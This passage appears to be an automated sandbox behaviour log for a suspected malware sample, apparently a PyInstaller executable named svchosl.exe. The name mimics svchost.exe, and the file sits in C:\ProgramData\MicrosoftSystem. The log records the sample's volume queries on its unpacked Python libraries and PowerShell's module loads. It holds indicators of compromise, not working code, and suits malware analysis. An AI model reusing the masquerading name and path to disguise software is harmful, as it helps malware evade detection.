Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122 VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122 VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122 VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122 VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\_ctypes.pyd VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122 VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\libcrypto-1_1.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\libffi-7.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\libssl-1_1.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\select.pyd VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\unicodedata.pyd VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\_bz2.pyd VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\_ctypes.pyd VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\_hashlib.pyd VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\_lzma.pyd VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\_socket.pyd VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122 VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\_socket.pyd VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122 VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\select.pyd VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122 VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\_bz2.pyd VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122 VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\_lzma.pyd VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122 VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122 VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122 VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\_hashlib.pyd VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122 VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\ProgramData\MicrosoftSystem\svchosl.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
